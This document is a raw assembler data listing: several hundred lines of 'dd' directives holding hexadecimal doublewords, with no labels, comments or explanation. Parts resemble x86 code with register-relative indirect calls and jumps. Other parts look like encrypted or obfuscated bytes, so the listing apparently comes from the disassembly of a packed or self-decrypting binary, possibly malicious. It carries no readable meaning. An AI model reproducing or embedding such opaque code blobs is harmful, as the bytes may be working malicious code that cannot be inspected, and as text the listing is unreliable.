		dd 6DA04DEFh, 9E900h, 1180000h,	0F8987362h, 8158EE4Ah
		dd 0CAA4A4F7h, 5E919h, 0A0A00000h, 89A0A0A0h, 958B1E3Ch
		dd 6291A3Dh, 1691B589h,	0EB830629h, 6DBD8904h, 81062923h
		dd 0FFA434FBh, 9F850FFFh, 0E9FFFFFFh, 7, 0EF6BEC7Ch, 8BFEF23Bh
		dd 9DBD83C0h, 62930h, 0BD830975h, 6290075h, 50197400h
		dd 0B8C08B53h, 421h, 31058589h,	9D8D0629h, 62BAAA2h, 585BD3FFh
		dd 75BD83h, 74000629h, 0B8535017h, 421h, 31058589h, 9D8D0629h
		dd 62BA791h, 585BD3FFh,	9D8BC08Bh, 6292881h, 1B5985C6h
		dd 68560629h, 9CA8B852h, 1A99B5FFh, 858D0629h, 62C7BD2h
		dd 46AD0FFh, 100068h, 85B5FF00h, 6A06291Bh, 85D0FF00h
		dd 0D850FC0h, 0B8000000h, 0
		dd 6FFB8D8Dh, 0E1FF0629h, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 81BD83D3h, 6292Eh, 0E840Fh, 9D8B0000h, 6292E81h, 7C1858Bh
		dd 3890629h, 858D5251h,	6297905h, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 1B5985C6h, 68560629h, 0D41F6D39h, 1A99B5FFh
		dd 858D0629h, 62C7BD2h,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 629309Dh, 83097500h, 290075BDh, 19740006h
		dd 0C08B5350h, 421B8h, 0A1858900h, 8D06290Dh, 2BAB099Dh
		dd 5BD3FF06h, 75BD8358h, 62900h, 53501774h, 421B8h, 0A1858900h
		dd 8D06290Dh, 2BA7AA9Dh, 5BD3FF06h, 8DC08B58h, 292E819Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 13h, 9F797EA1h, 0B2A57066h, 6B632D90h, 9C219E94h
		dd 0F9D7A199h, 3FEC805Eh, 0E218C681h, 0C28B0000h, 385168h
		dd 74B86600h, 8B5759A7h, 1E8B5FD7h, 81C68B66h, 0DF6229F3h
		dd 0B0F38168h, 817301A4h, 436339C0h, 0C9F38173h, 0E809F080h
		dd 13h,	942D3394h, 0C8D201E8h, 0C26AEB93h, 0DCA04C69h
		dd 0E930C3F1h, 14h, 7ECE7D44h, 8389B488h, 0D19C19F3h, 5270BDCFh
		dd 0A4E713h, 0F1E895Ah,	0EE81FAB7h, 58F6BDC1h, 9F36E881h
		dd 0C6817399h, 58F6BDBDh, 61E78151h, 5829EFA2h,	0F01E983h
		dd 2185h, 4890F00h, 66000000h, 0E9FFA5BAh, 24h,	831B8121h
		dd 387FFFC5h, 485D5A3Eh, 893330B5h, 8B664480h, 0FF60E9FAh
		dd 621CFFFFh, 34431400h, 7312C8CBh, 312B8D8Dh, 7E80630h
		dd 0CE000000h, 15F09435h, 8B60552Ah, 2905859Dh,	870F06h
		dd 61000000h, 6D8D895Eh, 5306291Eh, 0DF67F0B8h,	85C75B7Dh
		dd 6292D81h, 6FECh, 1D9AB866h, 200585C7h, 629h,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 4A1B42C3h, 0BD05CBAFh, 0F71B5FFh, 0BD8B0629h, 6292C55h
		dd 31E995FFh, 950B0629h, 62911B1h, 95FF006Ah, 6290591h
		dd 8EBC08Bh, 0D4DFC88Eh, 48B78CF5h, 31E78D8Dh, 858B0630h
		dd 62932CDh, 1E6D8D89h,	9D8B0629h, 6290099h, 2D8185C7h
		dd 58300629h, 95890000h, 6291265h, 181DBD89h, 85C70629h
		dd 6292005h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 78C35343h
		dd 27A1B5FFh, 6A0629h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 3FD324C3h, 0ECE105B7h, 160529Eh
		dd 29075DB5h, 880F06h, 61000000h, 9D958B5Ah, 0FF062928h
		dd 2931E995h, 5E806h, 6FB30000h, 5089AE42h, 5A58F28Bh
		dd 95FF006Ah, 6290591h,	1EEBC08Bh, 52C38BD4h, 2D03C2F4h
		dd 0B14E6724h, 0DC22B134h, 0CAF6717Bh, 49E1D84Ah, 0FFB29ABDh
		dd 0CEB6CC2h, 1B5430D6h, 2B11412Fh, 194008DCh, 586E9h
		dd 57AE900h, 79E60000h,	0B2AE488Ah, 90759343h, 243DDB1Bh
		dd 238167D7h, 0E4FCACAEh, 634B91Fh, 4B8B06E0h, 8D41CAADh
		dd 0D81A936Bh, 8EE1157Ch, 7B7A3CBCh, 60C4D35Ah,	0DCBF11E9h
		dd 5B3D9357h, 0D8BE10D6h, 5D339555h, 0A9B016D0h, 532AEC5Ah
		dd 0B0A86ED8h, 7623F941h, 49B2E0CDh, 477A5CBDh,	0C7E68059h
		dd 0B8123E97h, 61C2CE65h, 2DA07ABEh, 492F765Dh,	408367ECh
		dd 0F80EE74h, 168CF0ADh, 5D33F7DEh, 0E62A73F8h,	0FF5FA04Ch
		dd 0EF320A76h, 0E600C410h, 0D1A78C07h, 1F967608h, 0E841C834h
		dd 911B4386h, 0C8B3F7BBh, 5994219h, 3796AF77h, 0BD5CBEBCh
		dd 0F3C42D76h, 23F3487h, 9C7F9DA4h, 0A8E8CC17h,	9DF20D5Bh
		dd 0B315D5BEh, 5E353D8h, 5D5129A2h, 8D140B58h, 4E77AF4Dh
		dd 9C11EBEDh, 5C9EF92Ah, 0B50DBBEh, 2D33630Fh, 0A7030CD1h
		dd 9E11056Eh, 0BDD7D80h, 7FFC3C18h, 4FDD7D80h, 15E355C9h
		dd 194A3CCDh, 5604EC33h, 0D2A61DCCh, 0B68DF37Ah, 932B8159h
		dd 1110E533h, 0DD000000h, 0C334624Bh, 2E806CEEh, 47401765h
		dd 21000003h, 83E863C4h, 0FCD85135h, 78F34A0Ch,	0E211C88Eh
		dd 0E8E84204h, 0C0A68170h, 368C92A4h, 0F64ADC72h, 63C73622h
		dd 9576D420h, 68B33893h, 7CBA83EAh, 806CEEFBh, 0EE92E511h
		dd 147F806Ch, 0A3015738h, 0AEE743C8h, 0EEDE5145h, 58CB806Ch
		dd 0D6901BFCh, 0A9449FFDh, 9EA77F11h, 0ED84B63Dh, 0A62273A3h
		dd 0D127A501h, 34119A73h, 3D56E2C4h, 0BEE29B50h, 0E5058B02h
		dd 571B7104h, 0CA1668F1h, 0B016D03Bh, 2FE159A8h, 0E260C64Fh
		dd 37CD254h, 5D38091Dh,	0B109825Bh, 0A2CB0B52h,	9FFD70D6h
		dd 0FA003E9Bh, 0D6649472h, 584291E6h, 4AF2981Dh, 1A2EE446h
		dd 77FA583Eh, 0CA4721C7h, 4DC09A7Ch, 5DC157FDh,	0CF0F8264h
		dd 0B5D8h, 34624B00h, 0BF0ABEC3h, 3197652Eh, 0B399CABCh
		dd 0D655C0B0h, 42CF3110h, 52C85DDh, 0A80CE236h,	784D8F04h
		dd 6E49C723h, 54D9B305h, 4B22C400h, 0B10266C0h,	0FB806CA5h
		dd 2580C165h, 0F04AACAEh, 73CB8D7Dh, 70060CFAh,	0B4161AAEh
		dd 5178EFD1h, 72D4AA8Eh, 3F997FFFh, 0BC12F4B2h,	0A90CD431h
		dd 290F4422h, 22041C59h, 8CA4721h, 258508EEh, 1C9F9BECh
		dd 85806C38h, 8FA5BE9Ah, 665FC705h, 50200D80h, 0DC187CF7h
		dd 81EA613Ah, 37F97AB8h, 0E930806Ch, 7CE42E2Eh,	6F4DD60Ah
		dd 0D17679Bh, 2280806Ch, 0A105DBAFh, 0FD635E28h, 26C29529h
		dd 0EF64C700h, 63C4E46Fh, 0DFB81EE8h, 0C3899254h, 1A916A5Bh
		dd 7C4FB1D8h, 68CAA793h, 0A1288C68h, 0F8BB574Bh, 0CAD1806Bh
		dd 7ADDD02Bh, 921FF95Fh, 2C99FFD4h, 0FFFFFF29h,	0D259C019h
		dd 0C4492F89h, 0FACB2162h, 45E00EBCh, 0D8AEF17Ah, 2F2FA606h
		dd 2E46DC9h, 8066954Ch,	0E66DCEh, 10EBED4Eh, 9DE42F9Bh
		dd 0A77FC12Dh, 0AF257436h, 0D548FC6h, 7FD155E3h, 0F2B43D99h
		dd 1E5BB91h, 0DA234A88h, 5713E27Eh, 0DDB93A7Ch,	7F208696h
		dd 6AE3BB19h, 9FF03801h, 2161E0F6h, 0B83487F3h,	0F29D8696h
		dd 60DED2A6h, 8A8696B7h, 8F6F58CEh, 0C1B9328Bh,	5DBBBB82h
		dd 0B30472F9h, 1E8696B7h, 0D49261F8h, 62C094FFh, 0E1C81BEFh
		dd 0F447B384h, 0DD8696B7h, 389266B2h, 85F1DA61h, 806F92E9h
		dd 0AB498D96h, 3A7845EEh, 86AFADC9h, 0C59B6F30h, 0C65E962h
		dd 0B760401Ch, 0BF9D96A5h, 35F57ED9h, 949606F1h, 0BC318BA5h
		dd 3BB614CAh, 0A8B0044Fh, 0BE9AE159h, 0F016D268h, 0B4B2152Eh
		dd 0FD7158D3h, 7ACC411Bh, 0FE48C3A4h, 0A9B0004Dh, 46D87E5Ah
		dd 0F51B24CCh, 98DE4Ah,	0C4170000h, 3080ED1Ch, 7BF3D928h
		dd 83B3389Dh, 0CF0FFC65h, 0F54B4B29h, 3BDD1178h, 0CFD6565h
		dd 75D73125h, 3B9C7AF8h, 806482B0h, 4D23C509h, 1EE266C0h
		dd 9555DCB8h, 95F02633h, 25E6F27Dh, 8345250Ch, 0B9C2A429h
		dd 0FA378B93h, 0ECC5C066h, 0D1583D9Bh, 6CB452A5h, 8DD4BF80h
		dd 0B4086BAFh, 0AEF1806Ch, 1B3FE2ACh, 0A5121F60h, 23D95A58h
		dd 5FC0806Ch, 9C6077BBh, 0C1000000h, 0EEDB5D5Dh, 0A4BC806Ch
		dd 0FD9B9555h, 35664814h, 0C74A288Ch, 0ED310763h, 2EF06859h
		dd 454B8651h, 58347EC5h, 0C8AE8AC1h, 3C84E110h,	4686D259h
		dd 0ED65E12Fh, 3BE609BCh, 179E7FDDh, 6C8590E3h,	0BE9B7980h
		dd 0DB1B624Dh, 67D7243Dh, 58D3AA0Eh, 0B5389E7Ch, 0C816781h
		dd 0C34E28CEh, 126591FAh, 0FF806C86h, 62844094h, 0B9D00289h
		dd 9F102DFh, 0BC18FEDAh, 273B9010h, 16AD5F4h, 6CA7A215h
		dd 3D040F80h, 112E39h, 4B870000h, 20860BEDh, 6EC615C6h
		dd 0B09B6B15h, 0C4F67D64h, 441AEC1Fh, 3F9169E0h, 0BD13D75Ch
		dd 3E9056DBh, 0B315D558h, 309650DDh, 0AA6CDA29h, 28EE58D3h
		dd 3A79C130h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68243489h
		dd 5542h, 68241C89h, 6E41h, 51243C89h, 303222B9h, 8BCB8906h
		dd 0C483240Ch, 3C8B5404h, 4C48124h, 56000000h, 8F56DE89h
		dd 0FF5E0847h, 815F2434h, 4C4h,	2434FF00h, 4C4815Bh, 0E9000000h
		dd 0FFF9460Ch, 7F6D2527h, 59ED8446h, 5D5DA15Fh,	303734B8h
		dd 8BC50306h, 0DE8D3h, 3C810000h, 88451482h, 0BED96825h
		dd 8A314258h, 0B70F5FCEh, 90C781D6h, 0BA000072h, 225DA71Dh
		dd 68h,	5ECA8B00h, 0E2F18166h, 371C8B46h, 0F381C38Bh, 5D9AE4B5h
		dd 815ECA80h, 93C8F0F3h, 18B9663Dh, 0CC3813Dh, 66310005h
		dd 0E156C981h, 8B371C89h, 83CE8BD0h, 0C18104EEh, 419FDA95h
		dd 8E00FE81h, 850FFFFFh, 0Dh, 23E9CB8Bh, 0E4000000h, 1E84B9EDh
		dd 4DB96643h, 0FFABE916h, 0C475FFFFh, 59B099EDh, 7F148C04h
		dd 0EF949A27h, 1996CB4Ah, 15E94A19h, 9A000000h,	2DFC1Fh
		dd 4 dup(0)
		dd 4E1E9h, 0B1429900h, 0EFF5BBDh, 0D8532ACCh, 9665FC1Ah
		dd 61EC42A4h, 0D825BDEDh, 0A147F77Ah, 6E884AC7h, 32D4068Dh
		dd 0C763D35Ah, 0B747A8EEh, 93B27A3Ch, 275A18Ah,	0EF7A3CB7h
		dd 0C49F50A4h, 0DFC6460h, 0BB0F56BDh, 488A07E5h, 0E347CEAEh
		dd 66C0492Dh, 0F149B8A0h, 7535BE1Fh, 5A384693h,	0E93013D7h
		dd 71C23011h, 58806CEEh, 978F2D37h, 0AB731923h,	8B4BC29Ah
		dd 0CD018A6Dh, 0E8FE502Bh, 85643B0Ch, 0C60FFBC2h, 3436B9FDh
		dd 0F0A3806Ch, 0E964C6A4h, 0EA3C2411h, 41F57ED9h, 67EA4828h
		dd 96744083h, 0B7CBBF36h, 806C3447h, 60D84ECCh,	58BC3790h
		dd 0DDA2A94Bh, 0FD7D97Ah, 0F64D3AA5h, 3CC8BD9Bh, 65000000h
		dd 11E960C4h, 6CEEA01Dh, 2FF76580h, 22CB9799h, 0E650704Eh
		dd 0A0638D92h, 19F7ADDh, 54000000h, 1DED1CC4h, 986E9FBBh
		dd 1EE81BC6h, 87C066F4h, 4EA8AA5Bh, 9F6EEAEEh, 0C40D86B4h
		dd 0B91FEB66h, 859650A1h, 0FE95FC7h, 0F4422D3h,	78F54B29h
		dd 4275ED13h, 90218AD4h, 86668044h, 8652260Fh, 0E75B377h
		dd 2A4379A5h, 0C4B480EBh, 0F422AB02h, 806C4183h, 0F1DA256Eh
		dd 0C6CA3B27h, 2CDC889Bh, 9E62B67Eh, 0F250206Dh, 0ED255A5Ah
		dd 44AF6B1Fh, 0B54BA1E2h, 0BB0FE171h, 662B7ADDh, 0E2000000h
		dd 101A9D99h, 9C87806Ch, 66C4B7B8h, 0DCB91FEBh,	0DB719357h
		dd 21AC0243h, 7575CB2Dh, 65AE1891h, 8567311Ah, 755BE08h
		dd 0F704DDB3h, 9A8C0833h, 23B9FA26h, 5C40CBA2h,	73593133h
		dd 0DD80D42Ch, 406E7Ah,	53250000h, 45BD57FBh, 0D04E0A80h
		dd 86D23189h, 0EB66C44Dh, 55DEB91Fh, 5FC79995h,	0C90D8066h
		dd 0ED1CC442h, 0EE99191Dh, 331A806Ch, 0BA0CFD65h, 0A4298369h
		dd 0EA6CB250h, 7ADCE80Ah, 120h,	0ED4B0D00h, 0D0B6820Fh
		dd 119A7375h, 88C9D13h,	2970F6CAh, 0B8A07051h, 298D6349h
		dd 859BC6A0h, 4EC5A0A1h, 0DDBBE58Ch, 19232823h,	9009E3C9h
		dd 86D4C22Bh, 297A456Bh, 9FBB1D66h, 6D4B986Eh, 0EA633B9Dh
		dd 0A72E8E68h, 573682C3h, 0D0B46ADCh, 5BA2E159h, 6BC03D7Dh
		dd 0FF598695h, 6D2B472h, 0FF5D33F7h, 0B55FB472h, 474BFF27h
		dd 0B0142DF1h, 7BD33539h, 0C9109D7Fh, 0B63F9F71h, 9662ABF0h
		dd 14CABC37h, 81D73ECDh, 328ABB63h, 6FDB2A36h, 58DBDF24h
		dd 4186956Ch, 45AEF7DEh, 956CDE51h, 7C58CB86h, 6945AFF8h
		dd 26FD74B4h, 94000001h, 60E45743h, 42CD8695h, 59C0FD76h
		dd 2970FD5Fh, 5AB5FBCCh, 0E5F2A5E7h, 97CB2C6Ah,	6D36806Ch
		dd 1CF23602h, 837A4563h, 34624B90h, 8695CBC3h, 0EB79F456h
		dd 0F1D85135h, 9571D79Bh, 5C38DE1Ch, 643C15D5h,	4D230980h
		dd 0C33462E9h, 2E8695CBh, 0CBC03367h, 66298695h, 2972341Fh
		dd 0F345FB23h, 0F3D09667h, 0EC67C7A5h, 95CC45B6h, 98E3AC86h
		dd 0AE30D5Ah, 501F74B4h, 36000000h, 423501CAh, 3B11DEC3h
		dd 0D552C008h, 71C98A88h, 3E07B19Ch, 6CEE77F8h,	0BB146200h
		dd 0D88E044Fh, 3927755Ch, 1B9C9056h, 0EE006C73h, 7509D1A7h
		dd 7BA81E93h, 26C410h, 81EA4FC3h, 9BF5C295h, 5FA4EF31h
		dd 40941DF9h, 5B9384h, 0C0100000h, 8D89D259h, 7A45DFFDh
		dd 7CE5B3E2h, 0AEE83B8Fh, 8696014Dh, 6EE269CCh,	0AA6CDA25h
		dd 7D9B5BD2h, 52561099h, 8696009Ah, 71A58E17h, 869601FEh
		dd 0BE5CB8EBh, 76FF5F68h, 0C87326C4h, 0CA89B7E3h, 256E8085h
		dd 0A22B8345h, 9F8799C4h, 674CF7A2h, 0B6030533h, 0B5B9EA86h
		dd 0D259C03Eh, 4DCF8789h, 4CB03B92h, 886C3C1Eh,	7352A62Dh
		dd 5C12F907h, 0F5B5DE7Ah, 32BB13h, 0AB0206E6h, 0AF0D4620h
		dd 8D7D44C9h, 0D860B569h, 0DE40D66Bh, 4A8801E5h, 6ACCC8ACh
		dd 0F9C003E7h, 9570C001h, 9D7BA81Eh, 8765B338h,	7FD1A95Ah
		dd 4AC39B9Fh, 0FA4C97FCh, 0E5474124h, 6AB59E68h, 67BFA19Ch
		dd 0A47A9ED3h, 9042CBA3h, 0AB1F9676h, 304h, 0B43FED00h
		dd 1AEC1FC4h, 9169E044h, 13D75C3Fh, 9056DBBDh, 15D5583Eh
		dd 9650DDB3h, 6CDA2930h, 0EE58D3AAh, 79C13028h,	4EC813Ah
		dd 89000000h, 0E2892414h, 4C281h, 0EA830000h, 24148704h
		dd 65DD685Ch, 34890000h, 0E7895724h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 68242C89h, 630385Dh, 8324348Bh, 0D26804C4h
		dd 89000076h, 4832424h,	835D0424h, 348904ECh, 24048124h
		dd 45FC4444h, 8108458Fh, 4444086Dh, 34FF45FCh, 0C4815D24h
		dd 4, 5024348Bh, 405E089h, 83000000h, 48704C0h,	61E95C24h
		dd 9CFFF940h, 0B5B85483h, 306303Ch, 5FE0FFC5h, 914918ABh
		dd 27733B67h, 0CC14AD6Bh, 0F01CE082h, 5D0874EDh, 165D5754h
		dd 25116826h, 1601E59Eh, 0BD67999Eh, 55399706h,	5E75FDEDh
		dd 0A476F67Ah, 0BC56E669h, 7018FD49h, 5E7EFD21h, 48BFFD21h
		dd 0C01DFD21h, 50FFD21h, 0E7E5FD21h, 96C2FD21h,	2EA3FD21h
		dd 729EFD21h, 5FC5FD21h, 4892FD21h, 0C2F7FD21h,	650FD21h
		dd 0E431FD21h, 9512FD21h, 2CDEFD21h, 7022FD21h,	259DFD21h
		dd 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh,	2775FD7Ah
		dd 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh
		dd 0BC75FC7Bh, 5E75FD7Ah, 0C076FD7Ah, 0DC75A645h, 0CB75A63Bh
		dd 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0D9F0701Ah
		dd 0A673CD3Bh, 0A74843FFh, 56F0707Ch, 6C73CD3Bh, 0C24883FFh
		dd 0A2F0707Ch, 3573CD3Bh, 6E4847FFh, 14F0707Ch,	1E73CD3Bh
		dd 0FB487FFFh, 1FF0707Ch, 7B73CD3Ah, 49487BFFh,	24F0707Ch
		dd 0D773CD45h, 1F4877FFh, 3DF0707Ch, 4273CD45h,	0D54873FFh
		dd 32F0707Ch, 0F073CD45h, 8C486FFFh, 45F0707Ch,	0A673CD3Ah
		dd 0A74863FFh, 2CF0707Ch, 6C73CD45h, 0C2486BFFh, 7FF0707Ch
		dd 3573CD3Ah, 6E4867FFh, 34F0707Ch, 1E73CD3Ah, 0FB4863FFh
		dd 0B0F0707Ch, 7B73CD3Ah, 494853FFh, 0C8F0707Ch, 0D773CD3Ah
		dd 1F484FFFh, 0F0707Ch,	4273CD3Ah, 0D5484BFFh, 12F0707Ch
		dd 0F073CD3Ah, 8C485FFFh, 49F0707Ch, 0A673CD3Bh, 0A7485BFFh
		dd 79F0707Ch, 6C73CD3Bh, 0C24857FFh, 70F0767Ch,	3573D452h
		dd 6E480AFFh, 0F6F0767Ch, 1E73D452h, 0FB4806FFh, 0B0B69C7Ch
		dd 0F29D11F1h, 2375FD7Ah, 837E17FBh, 0D525FB4Ah, 0ADFDF53Fh
		dd 9145C08Ch, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 90987C27h, 0A073CD45h, 1F4880FFh, 0EAC87D7Ch, 0CF73CD47h
		dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 8C4806EFh, 96FEBD7Ch
		dd 2F7A452Bh, 28AFD7Ah,	0CD45C081h, 0D80B48F7h,	0C6F8FB4Ah
		dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 9145C081h
		dd 0F60B48F7h, 0D1F8FB4Ah, 228A50FCh, 87BC1F23h, 8C4880F7h
		dd 52DA07Ch, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah,	708A5779h
		dd 0F445C08Dh, 79D3ED1h, 0DA75FD78h, 54CD9BC2h,	0D0DE9B59h
		dd 0A7480AEFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h
		dd 8C480AEFh, 54C54D7Ch, 0BA8AAD79h, 9145C08Dh,	2BF69B20h
		dd 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h,	652FFD7Ah
		dd 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h
		dd 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh,	7FA916D0h
		dd 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h
		dd 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh
		dd 0CF826885h, 1F2FFB4Ah, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h
		dd 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah
		dd 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
		dd 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch,	0EE75FD7Bh
		dd 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h,	0FA74BE8Ch
		dd 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h
		dd 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 494806EFh,	7EC0707Ch
		dd 5D73CD47h, 2C7F518Ah, 60E002D0h, 873CD47h, 0E574E592h
		dd 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h,	2C7FA5CAh
		dd 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh
		dd 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h,	0CB750C92h
		dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
		dd 252D4D7Ah, 69B65779h, 0FB4889FFh, 91C87D7Ch,	0F373CD47h
		dd 0FCF8EC0Fh, 0BA45C09Ch, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
		dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 8C4889F7h
		dd 2AC87D7Ch, 2F73CD47h, 12F8F10Fh, 0CD45C09Ch,	0E4DE152Ah
		dd 4AB6FD7Ah, 7975FD7Eh, 818E6885h, 0C3F8FB4Ah,	2945BF39h
		dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah,	0BB5E3AF1h
		dd 357115F9h, 0CB8A3E78h, 2945C08Dh, 96514ACEh,	74C1FF0Eh
		dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
		dd 25B5F179h, 68B65778h, 0FB480AEFh, 0EA917D7Ch, 42F539FAh
		dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
		dd 0CB7345B9h, 708AFD7Ah, 0F445C081h, 44AF60F7h, 0A0F8FB4Ah
		dd 4ECD3E39h, 0D075FD7Ah, 0A74806EFh, 0CEB57E7Ch, 1A8935F1h
		dd 0C2480AEFh, 8E97577Ch, 43BE15B9h, 1DFF0285h,	5A72D97Bh
		dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
		dd 0BC9D9D86h, 475FD7Ah, 6D2617FBh, 0EAFCFB4Ah,	3DCF7D86h
		dd 0E573CD47h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 6E4806E8h
		dd 0ADFCBD7Ch, 9145C085h, 79F835F1h, 0E345BE5Dh, 0CF826F85h
		dd 7FFDFB4Ah, 4801F3Ch,	5E75FD6Dh, 128A7F79h, 1A35FB4Ah
		dd 0FB36E6E0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 818A7779h
		dd 0ECF8FB4Ah, 2945BE73h, 2F2B5989h, 0CB75FD72h, 0D88E6F85h
		dd 0AF6FB4Ah, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah,	0F7C3F24Bh
		dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
		dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
		dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
		dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch,	0F2B6AD3Ah
		dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
		dd 0FB36C790h, 0E6CF707Ch, 7973CD44h, 71CCF50Fh, 4F75FD7Ah
		dd 9CBC9CDEh, 0A226FD7Eh, 0A74BFEE7h, 0D3497D7Ch, 0BE71887Bh
		dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 6C0617FBh
		dd 25F8FB4Ah, 0CD45C379h, 5C7D80F1h, 0F275FD72h, 0B0145989h
		dd 0DC75F9B8h, 607640F7h, 0EF46FB4Ah, 9775F5C3h, 0AADF0E7Ah
		dd 58F89DB9h, 0F445C379h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
		dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 0DB7640F7h, 0F3CDFB4Ah
		dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0A96578F7h
		dd 0D08AFB4Ah, 7E8CA8Bh, 2F000000h, 0AF6D5582h,	0C5800734h
		dd 0E9525B7Dh, 6, 0AB2903DEh, 81599A33h, 6F57C3h, 0AECBB800h
		dd 0BF042Eh, 66000000h,	148BC88Bh, 0B2C9813Bh, 81425F94h
		dd 5813BFF2h, 36E98175h, 814A956Dh, 0CE0513EAh,	840F607Bh
		dd 2, 0FE95853h, 7D000000h, 7094B5C4h, 5CEB2E3h, 663BC382h
		dd 81618D84h, 0E9F062C2h, 42BE6665h, 0D58052AFh, 3B048FE7h
		dd 0E1D98166h, 9880F02h, 0F000000h, 38Eh, 0F1BF0F00h, 30B9EF81h
		dd 0B70F091Ch, 0B5C781C7h, 80091C30h, 0FF813DF4h, 0FFFF917Ch
		dd 18850Fh, 820F0000h, 2, 23E9C28Ah, 0B9000000h, 851C15Fh
		dd 1A40D0FEh, 51B83FA8h, 0E9157698h, 0FFFFFF62h, 0BD9F56AEh
		dd 0C2D31900h, 6C6E34F8h, 16EB9913h, 5 dup(0)
		dd 3E00101h, 6300000h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 8C35242h, 502E1B66h, 8B240489h, 29122D8Dh
		dd 6A006A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 752CC350h, 0BF2388A3h,	6A629F15h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 24502B96h, 801958Bh, 858D0629h, 630462Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9EC35747h
		dd 0F94A75DDh, 0D28985BCh, 272DB589h, 0B5890629h, 62905B1h
		dd 0AE890h, 40F70000h, 37539BFBh, 4023FB68h, 505BD3B1h
		dd 6A90EB8Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0BE0CC350h, 0B6958815h, 66006A97h
		dd 79E281h, 958B006Ah, 6293495h, 6C39EF81h, 95FF5D0Ah
		dd 6290CEDh, 0DE9h, 7E29DC00h, 1E131B31h, 603D7150h, 4EE985FCh
		dd 6A000005h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 89C4C350h, 291F0595h, 72B46006h
		dd 10E9h, 7952400h, 6BA4707Fh, 9447E507h, 9685039Ah, 0E86123h
		dd 5D000000h, 4633ED81h, 8D0F0630h, 5, 0FBD6BEBFh, 0AE8602Eh
		dd 72000000h, 0D49FB709h, 1514D235h, 0FE866h, 391C0000h
		dd 26119E84h, 4EEEE8BBh, 8553517Ah, 0E9585EA6h,	0Eh, 98390842h
		dd 5F9DB3CEh, 0FC189905h, 6061511Dh, 89F8B70Fh,	2931AD8Dh
		dd 4E86106h, 0A0000000h, 0E800000Fh, 6,	0E3548796h, 0C7B984F6h
		dd 59607258h, 24448B50h, 0AEF6BB04h, 8B09AEh, 7E8h, 35BEAC00h
		dd 16E98A84h, 14E8h, 51821300h,	0F64D264Bh, 0D682B6FEh
		dd 1ED6DEEAh, 7222373Dh, 5E830h, 1C450000h, 5A599F12h
		dd 44895A5Fh, 8A560424h, 0E95859DEh, 0Dh, 3F93FC26h, 0F9BB9D77h
